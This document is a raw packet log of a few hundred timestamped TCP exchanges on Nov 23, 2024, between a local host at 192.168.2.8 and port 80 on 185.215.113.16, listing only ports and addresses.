Nov 23, 2024 21:15:14.257349968 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.258182049 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.258222103 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.258265018 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.258971930 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.259040117 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.259104013 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.259156942 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.260006905 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.260088921 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.260096073 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.260179996 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.433672905 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.433743954 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.433770895 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.433845043 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.434098005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.434202909 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.434261084 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.434362888 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.435043097 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.435106993 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.435239077 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.435609102 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.435617924 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.435736895 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.436446905 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.436531067 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.436548948 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.436578989 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.437263966 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.437340975 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.437371016 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.437447071 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.438160896 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.438297987 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.438461065 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.439167023 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.439205885 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.439285040 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.439982891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.440074921 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.440107107 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.440145969 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.440908909 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.440983057 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.441055059 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.441167116 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.441788912 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.441862106 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.441996098 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.442059994 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.442673922 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.442756891 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.442991018 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.443038940 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.443605900 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.443687916 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.443710089 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.443764925 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.444499016 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.444578886 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.444613934 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.444696903 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.445417881 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.445476055 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.445508957 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.445575953 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.446305990 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.446353912 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.446413994 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.446480989 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.447232008 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.447333097 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.447349072 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.447391033 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.448163986 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.448261976 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.448265076 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.448321104 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.449080944 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.449193001 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.449218035 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.449258089 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.449951887 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.450023890 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.450054884 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.450120926 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.450839996 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.450932980 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.450933933 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.450982094 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.451782942 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.451843023 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.451879978 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.451939106 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.452653885 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.452784061 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.452807903 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.452853918 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.453563929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.453702927 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.453728914 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.453759909 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.454499006 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.454547882 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.454596043 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.454844952 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.455390930 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.455485106 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.455485106 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.455527067 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.456306934 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.456351042 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.456381083 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.456423998 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.457308054 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.457458019 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.457539082 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.457592964 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.458277941 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.458349943 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.458381891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.458465099 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.459000111 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.459144115 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.459192991 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.459222078 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.459949970 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.460004091 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.460005045 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.460059881 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.460836887 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.460973024 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.460999966 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.461031914 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.461767912 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.461906910 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.461925983 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.461970091 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.462647915 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.462739944 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.462774992 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.462788105 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.463721037 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.463795900 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.463922024 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.463964939 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.464673996 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.464726925 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.464771032 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.464824915 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.465346098 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.465466976 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.465487957 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.465538979 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.466263056 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.466363907 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.466375113 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.466407061 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.467274904 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.467339993 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.467427015 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.467472076 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.468210936 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.468250036 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.468302011 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.468967915 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.469012976 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.469057083 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.469870090 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.469924927 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.469974995 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.470037937 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.470772982 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.470824957 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.470834017 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.470880032 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.471848011 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.471894026 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.471920967 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.471966982 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.472610950 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.472682953 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.472682953 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.472757101 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.473519087 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.473573923 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.473630905 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.474416018 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.474493027 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.474524021 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.474586010 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.475301027 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.475364923 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.475497007 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.475558043 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.476212978 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.476273060 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.476360083 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.476412058 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.477128983 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.477189064 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.477250099 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.477293015 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.478022099 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.478065014 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.478142023 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.478188992 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.478948116 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.479063034 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.479114056 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.479126930 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.479821920 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.479881048 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.479939938 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.479985952 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.480709076 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.480762005 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.643712997 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.643734932 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.644004107 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.644093990 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.644203901 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.644700050 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.644982100 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.645059109 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.645091057 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.645193100 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.645895004 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.645951033 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.646703005 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.646780968 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.646895885 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.646971941 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.647681952 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.647735119 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.647846937 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.648577929 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.648607016 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.648633957 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.648684978 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.648884058 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.649542093 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.649588108 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.649591923 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.649661064 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.650422096 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.650614023 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.650903940 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.652075052 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.652237892 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.652301073 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.653120041 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.653219938 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.653301001 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.653493881 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.654017925 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.654150009 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.654380083 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.654994011 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.655071974 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.655098915 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.655143976 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.655972004 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.656006098 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.656111002 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.656567097 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.656651974 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.656685114 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.656729937 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.657412052 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.657438040 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.657517910 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.657974005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.658072948 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.658251047 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.658783913 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.658838987 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.658855915 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.658953905 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.659486055 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.659560919 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.659607887 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.660398006 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.660458088 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.660468102 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.660577059 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.661304951 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.661423922 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.661438942 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.661465883 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.662234068 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.662364006 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.662502050 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.663115025 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.663191080 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.663218975 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.663266897 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.664001942 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.664097071 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.664108038 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.664165974 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.664910078 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.665031910 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.665049076 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.665221930 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.665911913 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.666034937 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.666038036 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.666095018 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.666717052 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.666763067 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.666843891 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.667088985 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.667634010 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.667723894 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.667872906 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.667995930 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.668531895 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.668605089 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.668632984 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.668710947 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.669518948 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.669648886 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.669842005 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.669970989 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.670361042 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.670460939 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.670545101 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.670645952 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.671305895 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.671365976 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.671480894 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.671648026 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.672152042 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.672246933 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.672441959 CET	49711	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:14.673074961 CET	80	49711	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:14.673182964 CET	80	49711	185.215.113.16	192.168.2.8
